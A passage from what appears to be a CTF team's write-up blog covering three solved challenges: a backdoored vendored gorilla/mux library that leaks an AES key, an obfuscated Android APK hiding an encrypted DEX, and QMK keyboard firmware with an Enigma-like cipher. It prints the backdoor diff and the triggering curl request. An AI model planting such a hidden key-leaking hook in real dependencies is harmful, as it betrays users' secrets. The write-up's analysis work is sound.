    return ciphertext
}
 
func Decrypt(ciphertext []byte) []byte {
    blockCipher, err := aes.NewCipher(AesKey)
    PanicOnErr(err)
    cbcEncrypter := cipher.NewCBCDecrypter(blockCipher, make([]byte, aes.BlockSize))
    plaintext := make([]byte, len(ciphertext))
    cbcEncrypter.CryptBlocks(plaintext, ciphertext)
    return plaintext
}

So a file called aes.key is embedded into the Go file as a variable called AesKey. AesKey is then used in the Encrypt and Decrypt functions. Maybe we can extract the AesKey now somehow? However, there’s no local file inclusion or anything. Let’s keep looking.

For some reason, the web server library used by the app, gorilla/mux, was all contained in the vendor/ directory.

Because of the unusual inclusion of the dependency directly in the source, we decided to diff the actual source from https://github.com/gorilla/mux with the source contained in this repo. This will show us if any malicious changes were made.

After running the diff, we can clearly see the web server code is modified to send the AesKey when certain conditions are met!

vendor/github.com/gorilla/mux/route.go

+ func init() {
+     re := regexp.MustCompile(`^[1-9][0-9]{18}[1-9][0-9]{18}$`)
      ...
+     if r.Method == "GET" {
+         resp, err := http.Get(u)
+         if err != nil {
+             w.WriteHeader(http.StatusBadRequest)
+             return
+         }
          ...
+         body, err := io.ReadAll(r.Body)
+         if err != nil {
+             return
+         }
+         bodyString := string(body)
+         if re.MatchString(bodyString) {
+             a := big.NewInt(0)
+             a.SetString(bodyString[0:19], 10)
+             b := big.NewInt(0)
+             b.SetString(bodyString[19:], 10)
+             a.Mul(a, a)
+             b.Mul(b, b)
+             a.Add(a, b)
+             if a.String() == bodyString {
+                 fmt.Fprint(w, utils.AesKey)
+             }
+         }
+         fmt.Fprint(w, string(body2))
...

Those conditions boil down to:

a2+b2=a1019+ba^2 + b^2 = a \cdot 10^{19} + b

Throwing that into WolframAlpha, we get some solutions we can try to throw at the server:

Wolfram Solutions

Ignoring ones that obviously don’t match the regex, 9864629288998116810 and 1155587244919948276 worked, satisfying those conditions and giving us the AesKey:

> curl -X GET http://54.85.45.101:8004 --data '98646292889981168101155587244919948276'
 
[33 73 145 207 76 213 162 244 30 253 160 245 181 62 189 135 112 56 254 198 170 198 17 135 96 128 132 199 70 158 168 45]
<html>...

Now all that’s left to do is decrypt the 24th encryptedMoth in moth.json:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
 
key = bytes([33, 73, 145, 207, 76, 213, 162, 244, 30, 253, 160, 245,
            181, 62, 189, 135, 112, 56, 254, 198, 170, 198, 17, 135,
            96, 128, 132, 199, 70, 158, 168, 45])
 
ciphertext = base64.b64decode("KQTAvnBi16hxdZbrphukoVVZEzbbRBPqJA5GAvizVCpnMavP0VOA20dgJX/FsKxT")
cipher = Cipher(algorithms.AES(key), modes.CBC(b'\x00' * 16), backend=default_backend())
plaintext = cipher.decryptor().update(ciphertext) + cipher.decryptor().finalize()
print(plaintext)

And we get the flag! flag{85d680bbb5103431d31d9413e29c7f6f}

Solvers: , ,


4:56:27 - Protect your API Key (Rev) 🩸

Opening up the APK in jadx, we see it immediately loads a native library with not much other functionality.

Unfortunately, the native library that is loaded is full of obfuscation. image

Fortunately, it turns out this obfuscation is only used to decrypt strings that are later then used to access and call certain functions.

I wrote a small unicorn script to emulate the decrypt, since all it does is perform a bunch of operations on fixed bytes from the binary.

from unicorn import *
from unicorn.x86_const import *
import lief
import capstone
 
libapp = open("libapp.so", "rb").read()
elf = lief.parse(libapp)
size = 0x40000
 
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
 
start = 0x0001ba9b
end = 0x0001bba2
 
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(0, size)
mu.mem_write(0, libapp)
 
# stack
mu.mem_map(0x1000000, 0x2000, UC_PROT_ALL)
mu.reg_write(UC_X86_REG_RSP, 0x1000000)
 
# def hook_code(uc, address, size, user_data):
#     code = mu.mem_read(address, size)
#     for i in cs.disasm(code, address):
#         print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
#         print("RSP: 0x%x" % mu.reg_read(UC_X86_REG_RSP))
#         # input()
 
#     pass
    
# mu.hook_add(UC_HOOK_CODE, hook_code)
 
mu.emu_start(start, end)
 
def dump_stack(uc: Uc, size=0x200):
    rsp = uc.reg_read(UC_X86_REG_RSP)
    dat = b''
    for i in range(0, size + 1, 8):
        # d = st.unpack('<Q', uc.mem_read(rsp + i, 8))[0]
        # print(f"0x{rsp + i:x}: 0x{d:016x}")
        dat += uc.mem_read(rsp + i, 8)
    print(dat)
    print(dat.decode())
 
dump_stack(mu)

Using this script, we can recover the string names to see what functions are being called. image

Going through the function and decrypting the strings, we see that it opens a file called 8.data in the APK assets, then initializes an javax.crypto.Cipher with AES-ECB and a decrypted key, then decrypts the data in 8.data.

After extracting the data myself, I found that it was a DEX file containing more code.

from Crypto.Cipher import AES
 
key = b'gr3443.,g,3-s@[w'
data = open('8.data', 'rb').read()
 
c = AES.new(key, AES.MODE_ECB)
 
dec = c.decrypt(data)
open('8.dex', 'wb').write(dec)

After converting the DEX file to a JAR using dex2jar, we see the real internal APK.

package com.some.real.better.practice.myapplication;
 
import android.util.Base64;
import android.util.Log;
import com.some.map.sdk.Entry;
import com.some.map.sdk.Navigator;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
 
/* loaded from: 8.jar:com/some/real/better/practice/myapplication/RideHailing.class */
public class RideHailing extends Thread {
    public static String decryptMsg(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("er34rgr3443.,g,3-09gjs@[wpef9j3j".getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, secretKeySpec);
        return new String(cipher.doFinal(bArr), "UTF-8");
    }
 
    public static byte[] encryptMsg(String str) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("er34rgr3443.,g,3-09gjs@[wpef9j3j".getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        return cipher.doFinal(str.getBytes("UTF-8"));
    }
 
    private void logLocation(Navigator navigator) {
        Log.v(Navigator.class.getName(), "Your location is " + navigator.locate());
    }
 
    @Override // java.lang.Thread
    public void start() {
        try {
            logLocation(new Entry().initialization(decryptMsg(Base64.decode("9Bmk+Nc8i7oz2+sRYI9Q1fZ/metvBlUzoMMdC2aLstA=", 2))));
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

Decrypting the base64 in start following the code gives us the flag

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
data = '9Bmk+Nc8i7oz2+sRYI9Q1fZ/metvBlUzoMMdC2aLstA='
key = 'er34rgr3443.,g,3-09gjs@[wpef9j3j'
 
data = base64.b64decode(data)
key = key.encode()
 
c = AES.new(key, AES.MODE_ECB)
 
print(unpad(c.decrypt(data), AES.block_size).decode())

flag{3fh9.gkf29j.7}

Solvers:


7:38:22 - Custom Keyboard (Rev) 🩸

Right before the CTF started, I fell asleep and woke up 4-ish hours after the CTF started. After a bit, I realize “Oh shoot, I should probably help with the CTF.” So I hop in VC and realize there’s only one challenge left 💀. I decide that I might as well help as much as I can, so I download the files and get started.

The challenge hints towards the idea that the binary has something to do with a keyboard, and the only idea that really makes sense is for it to be some sort of firmware. Running file on the binary is misleading, telling us that it’s TTComp archive data, binary, 1K dictionary. However, there are some ways to help confirm that this is some sort of firmware.

Running strings on the binary gives some interesting information, one specific string which helped us was:

Last sector intended to be used with wear_leveling is beyond available flash descriptor range

Searching for this string online leads us to [wear_leveling] efl updates (#22489) · 75d11e0421 - varl/qmk_firmware - meatbag. This tells us that the binary is probably firmware for a QMK keyboard.

When opening the binary in Binary Ninja, it predicts that the architecture is thumb2. binja predicted arch

Looking through the disassembly, everything seems correct and there aren’t many unsupported instructions, which tells us that Binary Ninja was most likely right and that this really is firmware.

There are 1000+ functions defined by Binary Ninja, which is too many to manually look through for the relevant code. In this situation, it’s a good idea to look through any interesting strings and see where it’s being used. Looking through the strings in Binary Ninja, there’s one that catches my eye. interesting string

A lot of seemingly random uppercase letters in a row? Remembering that the flag is also in all caps (given in the description of the challenge), it seems like this string will be useful. However, Binary Ninja can’t find any cross-references for it. Strange.

Carefully reviewing some of the decompiled code, we see many references to some value 0x80XXXXX which gets dereferenced. This makes me think that the binary is supposed to be mapped at some static address, which is very easy to change with Binary Ninja. Going to Analysis > Rebase…, we can set the address we want the beginning of the binary to be mapped at. rebase

After rebasing, we finally see our interesting string being used in the code. referenced string

Going to the function that the string is being used in, we see code that definitely doesn’t look like your typical keyboard firmware. initial func decomp

Taking a look at the parent function, we see some more interesting code. parent func

From this code, it becomes somewhat more clear what’s going on. The case where some argument is subtracted by 0x41 and then later encrypted seems very suspicous, especially once you realize that 0x41 is A in ASCII. We can assume that it’s probably passing some character, most likely our keyboard input, into the function we discovered earlier and then encrypting it.

We’re able to clean this decompilation up a bit more through some little hacks. In the code, we see many dereferences to addresses like 0x2000XXXX. This area is actually the RAM for the microcontroller, which is 32kb in size. We can make Binary Ninja map this section by adding 32kb of null bytes to the end of the image and manually entering the section information when opening the binary with options. I used the following options when opening the modified binary. fixed load options

The encryption function now looks like this: decomp after fixed load options

Carefully reading over the function, I see that it’s very similar to the Enigma cipher. If you’re not familiar with how the Enigma machine works, read about it on its wikipedia page. In this function, we can see what looks like our 3 rings, plus some fourth set of characters. Initially, we assumed that this was the reflector. However, this function does not properly use this string as a reflector. Instead of having a pair of letters which would switch with each other, it indexes into the string as if it functioned as another ring. This means that you can’t simply throw the strings into a tool like CyberChef and solve it.

Another challenge is that the offsets of the rings may not be initialized to 0 at the start of encryption, so we would need to bruteforce the offsets. The following script reimplements the encryption function and bruteforces for the flag.

#!/usr/bin/env python3
import sys
from itertools import product
 
 
def enigma(plain_text, offset1, offset2, offset3):
    ring1 = "YKNQXBMOVZPIAEJCSDLGRTUFWH"
    ring2 = "ZXVALNTFMJQBCPYWURSOKDEHIG"
    ring3 = "RETAIGBSJNUWYXZLPVKCDMQOFH"
    reflector = "YGQNVUBROLTJZDIWCHXKFEPSAM"
 
    output = ""
 
    for char in plain_text:
        if ord(char) < ord('A') or ord(char) > ord('Z'):
            output += char
            continue
 
        char = ring1[(offset1 + ord(char) - ord('A')) % 26]
        char = ring2[(offset2 + ord(char) - ord('A')) % 26]
        char = ring3[(offset3 + ord(char) - ord('A')) % 26]
        char = reflector[ord(char) - ord('A')]
 
        for i in range(26):
            if ring3[i] == char:
                char = chr(((i - offset3 + 26) % 26) + 65)
                break
 
        for i in range(26):
            if ring2[i] == char:
                char = chr(((i - offset2 + 26) % 26) + 65)
                break
 
        for i in range(26):
            if ring1[i] == char:
                char = chr(((i - offset1 + 26) % 26) + 65)
                break
 
        output += char
 
        offset1 = (offset1 + 1) % 26
        if offset1 == 0:
            offset2 = (offset2 + 1) % 26
            if offset2 == 0:
                offset3 = (offset3 + 1) % 26
 
    return output
 
 
enc = "KKPE{FJZBSVNBYWWOKOJIPNWGPGASCVVYPAYLAHTX}"
 
for x, y, z in product(range(26), repeat=3):
    dec = enigma(enc, x, y, z)
    if dec.startswith("FLAG"):
        print(dec)
        break

To be honest, most of the time spent on this challenge wasn’t on figuring out what the code was doing, but rather getting the script to work. I accidentally wasn’t converting back to a string after the math in the if statements, so the following if statements would try to compare a string to an integer, which would always return false. After fixing this mistake, the script worked as intended and was able to decipher the flag.

FLAG{DIETASTATURISTMACHTIGERALSDASSCHWERT}

Solvers: ,


Conclusion

Thanks again to the organizers for a great event! Winning this garnered us over 100 ctftime points putting us at 11th globally. More importantly, we were finally given a good reason to make another blog post on this site! Hope you found something useful here 🙂